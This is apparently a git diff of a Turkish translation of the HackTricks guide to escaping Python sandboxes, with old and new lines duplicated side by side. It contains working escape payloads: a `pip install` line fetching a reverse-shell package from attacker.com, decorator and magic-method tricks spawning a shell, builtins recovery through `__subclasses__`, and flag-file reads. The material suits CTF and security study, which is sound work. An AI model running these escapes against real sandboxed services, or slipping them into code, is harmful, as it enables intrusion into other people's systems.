* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>

View file

@ -1,32 +1,32 @@
# Python kum havuzlarını atlayın # Python kum havuzlarını atlatma
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> için <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
Bu, python kum havuzlarını atlamak ve keyfi komutlar yürütmek için bazı hilelerdir. Bu, python kum havuzu korumalarını atlatmak ve keyfi komutlar yürütmek için bazı püf noktalarıdır.
## Komut Yürütme Kütüphaneleri ## Komut Yürütme Kütüphaneleri
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kodu yürütebilir miyim veya bu kütüphanelerden herhangi birini içe aktarabilir miyim: Bilmemiz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir miyiz veya bu kütüphanelerden herhangi birini içe aktarabilir miyiz:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -59,13 +59,13 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki dosyaları okumak ve sandbox'ı **atlatmak** için **çalıştırabileceğiniz kodları yazmak** için kullanışlı olabilir. Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki dosyaları okumak ve sandbox'ı atlatmak için **çalıştırabileceğiniz kodları yazmak** için kullanışlı olabilir.
{% hint style="danger" %} {% hint style="danger" %}
**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmaya izin verir. **Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir.
{% endhint %} {% endhint %}
Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'` Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>) ![](<../../../.gitbook/assets/image (552).png>)
@ -73,8 +73,8 @@ Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdak
### Varsayılan paketler ### Varsayılan paketler
Bir **ön yüklü paketler listesini** burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ **Önceden yüklenmiş** paketlerin listesini burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, python ortamına sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz**.\ Unutmayın ki bir pickle'dan python ortamına sisteme yüklenmiş **herhangi bir kütüphaneyi içe aktarabilirsiniz**.\
Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak: Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
@ -94,7 +94,7 @@ Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https
**@isHaacK** tarafından paylaşılan hile **@isHaacK** tarafından paylaşılan hile
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk alabilirsiniz. Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk almak için şunu çağırabilirsiniz:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -104,7 +104,7 @@ Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan ön
{% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %} {% hint style="info" %}
Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**. Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olmasını sağlayacak şekilde özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**.
{% endhint %} {% endhint %}
## Python kodunu değerlendirme ## Python kodunu değerlendirme
@ -170,13 +170,13 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örneğin `raw_unicode_escape` ve `unicode_escape`. Ayrıca, diğer kodlamaları kullanarak da atlatmak mümkündür, örneğin `raw_unicode_escape` ve `unicode_escape`.
## Çağrı yapmadan Python yürütme ## Çağrı yapmadan Python yürütme
Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır. Eğer **çağrı yapmanıza izin vermeyen bir Python hapishanesinde** iseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE) ### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Çalıştırma (RCE)
```python ```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec @exec
@ -200,11 +200,11 @@ class _:pass
``` ```
### RCE nesneler oluşturma ve aşırı yükleme ### RCE nesneler oluşturma ve aşırı yükleme
Eğer bir **sınıf bildirebilir** ve **bu sınıfın bir nesnesini oluşturabilirseniz**, doğrudan **çağırmadan** **tetiklenebilen** **farklı yöntemler yazabilir/yeniden yazabilirsiniz**. Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**.
#### Özel sınıflarla RCE #### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece doğrudan çağırmadan **tetiklendiğinde** **keyfi kodları yürütebilirsiniz**. Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece bunlar **doğrudan çağrılmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz**.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -256,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma #### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak yeni bir sınıf oluşturularak, doğrudan yapıcıyı çağırmadan bir sınıf örneği oluşturmaktır. Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanıldığı yeni bir sınıf oluşturarak, doğrudan kurucuyu çağırmadan bir sınıf örneği oluşturmaktır.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -273,7 +273,7 @@ Sub['import os; os.system("sh")']
``` ```
#### İstisnalarla nesneler oluşturma #### İstisnalarla nesneler oluşturma
Bir **istisna tetiklendiğinde**, **Exception**'ın nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)'den bir hile): Bir **istisna tetiklendiğinde**, **Exception**'ın nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)den bir hile):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -315,7 +315,7 @@ __iadd__ = eval
__builtins__.__import__ = X __builtins__.__import__ = X
{}[1337] {}[1337]
``` ```
### builtins yardımıyla dosya okuma ve lisans ### Yerleşik yardım ve lisans ile dosya okuma
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -334,12 +334,12 @@ Eğer **`__builtins__`** nesnesine erişebilirseniz kütüphaneleri içe aktarab
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### Dahili Fonksiyonlar ### __builtins__ Yoksa
`__builtins__`'e sahip olmadığınızda hiçbir şeyi içe aktaramayacak veya hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\ `__builtins__`'e sahip değilseniz, hiçbir şeyi içe aktaramayacak veya hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler içeren şeyleri de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir. Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler içeren **de** modüller **içe aktarır** ki bunlara erişilerek hatta **keyfi kod yürütme** elde edilebilir.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** nasıl **kötüye kullanabileceğinizi** görebilirsiniz. Aşağıdaki örneklerde, bu "**zararsız**" modüllerin bazılarını **kötüye kullanarak** içlerindeki **tehlikeli işlevselliğe** nasıl **erişileceğini** gözlemleyebilirsiniz.
**Python2** **Python2**
```python ```python
@ -383,7 +383,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **builtins** bulabileceğiniz **yerler** bulunmaktadır. [**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **builtins** bulabileceğiniz yerler bulunmaktadır.
#### Python2 ve Python3 #### Python2 ve Python3
```python ```python
@ -425,15 +425,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) **bulunmaktadır** ve **yüzlerce yerde** **globals**'ı bulabilirsiniz. [**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **globals** bulabileceğiniz.
## Keyfi Yürütme Keşfi ## Keyfi Yürütme Keşfi
Burada, **daha tehlikeli işlevselliklerin keşfini** kolayca nasıl yapabileceğinizi açıklamak ve daha güvenilir saldırıları önermek istiyorum. Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldırıları önermenin nasıl olduğunu açıklamak istiyorum.
#### Atlatmalarla alt sınıflara erişme #### Atlatmalarla alt sınıflara erişme
Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yaptık ancak **başka olası yollar** da vardır: Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık ancak **başka mümkün yollar** da vardır:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
@ -463,7 +463,7 @@ defined_func.__class__.__base__.__subclasses__()
``` ```
### Tehlikeli kütüphanelerin yüklenmesini bulma ### Tehlikeli kütüphanelerin yüklenmesini bulma
Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin içe aktarılabilir** olduğunu bildiğinizde, içlerinde **sys**'i içe aktaran tüm **yüklenen modülleri** arayabilirsiniz: Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin içe aktarılabilir** olduğunu bildiğinizde, içlerinde **sys'i içe aktaran tüm yüklenen modülleri** arayabilirsiniz:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -472,7 +472,7 @@ defined_func.__class__.__base__.__subclasses__()
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
Aynı şeyi **diğer kütüphanelerle** de yapabiliriz ki bunlar **komutları yürütmek** için kullanılabileceğimizi biliyoruz: Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanılabilir:
```python ```python
#os #os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -526,7 +526,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb: pdb:
""" """
``` ```
Ayrıca, eğer **diğer kütüphanelerin** komutları **çalıştırmak için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**: Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -558,7 +558,7 @@ execfile:
execute: execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, 